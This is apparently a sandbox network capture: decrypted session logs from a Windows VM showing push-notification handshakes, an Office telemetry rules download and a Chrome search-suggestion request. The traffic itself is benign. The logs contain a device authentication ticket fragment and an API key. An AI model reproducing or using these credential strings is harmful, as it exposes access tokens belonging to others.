2024-12-07 21:40:10 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-07 21:40:10 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 56 38 6a 73 5a 50 61 45 53 6b 61 59 4d 6a 7a 71 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 63 63 35 30 38 35 33 66 62 39 36 33 38 33 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 57 32 44 68 6f 47 6b 59 77 72 38 64 69 4b 58 77 48 48 44 30 32 62 63 6a 78 47 39 4b 48 68 56 47 71 38 55 61 73 44 36 6c 49 68 6b 43 53 5a 7a 32 62 52 4d 7a 79 49 38 43 4c 66 37 73 4a 53 51 73 46 58 33 51 6c 6c 4d 46 34 2b 7a 49 37 39 6b 35 74 56 38 78 4a 66 59 69 72 41 68 4d 70 49 72 55 2f 69 76 55 63 4f 56 65 4f 66 7a 42 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: V8jsZPaESkaYMjzq.2Context: 7cc50853fb963837<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaW2DhoGkYwr8diKXwHHD02bcjxG9KHhVGq8UasD6lIhkCSZz2bRMzyI8CLf7sJSQsFX3QllMF4+zI79k5tV8xJfYirAhMpIrU/ivUcOVeOfzB
2024-12-07 21:40:10 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 56 38 6a 73 5a 50 61 45 53 6b 61 59 4d 6a 7a 71 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 63 63 35 30 38 35 33 66 62 39 36 33 38 33 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: V8jsZPaESkaYMjzq.3Context: 7cc50853fb963837<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-07 21:40:10 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-07 21:40:10 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 6d 64 42 49 37 36 43 73 55 79 71 55 6c 47 38 4a 4b 4a 57 58 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: tmdBI76CsUyqUlG8JKJWXA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49709	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:11 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 42 4b 66 50 6c 76 2f 37 38 6b 32 38 58 65 4d 65 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 39 62 65 63 33 32 36 31 64 30 32 39 38 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: BKfPlv/78k28XeMe.1Context: 8c9bec3261d02989
2024-12-07 21:40:11 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-07 21:40:11 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 42 4b 66 50 6c 76 2f 37 38 6b 32 38 58 65 4d 65 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 39 62 65 63 33 32 36 31 64 30 32 39 38 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 57 32 44 68 6f 47 6b 59 77 72 38 64 69 4b 58 77 48 48 44 30 32 62 63 6a 78 47 39 4b 48 68 56 47 71 38 55 61 73 44 36 6c 49 68 6b 43 53 5a 7a 32 62 52 4d 7a 79 49 38 43 4c 66 37 73 4a 53 51 73 46 58 33 51 6c 6c 4d 46 34 2b 7a 49 37 39 6b 35 74 56 38 78 4a 66 59 69 72 41 68 4d 70 49 72 55 2f 69 76 55 63 4f 56 65 4f 66 7a 42 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: BKfPlv/78k28XeMe.2Context: 8c9bec3261d02989<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaW2DhoGkYwr8diKXwHHD02bcjxG9KHhVGq8UasD6lIhkCSZz2bRMzyI8CLf7sJSQsFX3QllMF4+zI79k5tV8xJfYirAhMpIrU/ivUcOVeOfzB
2024-12-07 21:40:11 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 42 4b 66 50 6c 76 2f 37 38 6b 32 38 58 65 4d 65 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 39 62 65 63 33 32 36 31 64 30 32 39 38 39 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: BKfPlv/78k28XeMe.3Context: 8c9bec3261d02989
2024-12-07 21:40:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-07 21:40:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 6f 39 50 4b 38 67 63 57 55 6d 39 65 79 4f 65 43 4b 62 48 2f 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: to9PK8gcWUm9eyOeCKbH/A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:15 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:16 UTC	492	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:16 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 07 Dec 2024 15:08:57 GMT ETag: "0x8DD16D112C941E3" x-ms-request-id: 2bf777ac-301e-0099-29dd-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214016Z-r1cf579d778qlpkrhC1EWRpfc8000000045000000000529t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 21:40:16 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-07 21:40:16 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-12-07 21:40:16 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-12-07 21:40:16 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-12-07 21:40:16 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-12-07 21:40:16 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-12-07 21:40:16 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-12-07 21:40:16 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-12-07 21:40:16 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-12-07 21:40:16 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49713	142.250.181.68	443	1812	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:17 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 21:40:18 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:17 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-J_9GLJXvysWTVatyQ67pLQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 21:40:18 UTC	124	IN	Data Raw: 33 33 33 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 68 6c 20 63 68 69 63 61 67 6f 20 62 6c 61 63 6b 68 61 77 6b 73 22 2c 22 70 6c 61 79 73 74 61 74 69 6f 6e 20 73 74 61 72 73 20 66 72 65 65 20 73 74 6f 72 65 20 63 72 65 64 69 74 22 2c 22 73 6f 63 69 61 6c 20 73 65 63 75 72 69 74 79 20 63 68 61 6e 67 65 73 20 66 6f 72 20 32 30 32 35 22 2c 22 73 70 6f 74 69 66 79 20 77 72 Data Ascii: 333)]}'["",["nhl chicago blackhawks","playstation stars free store credit","social security changes for 2025","spotify wr
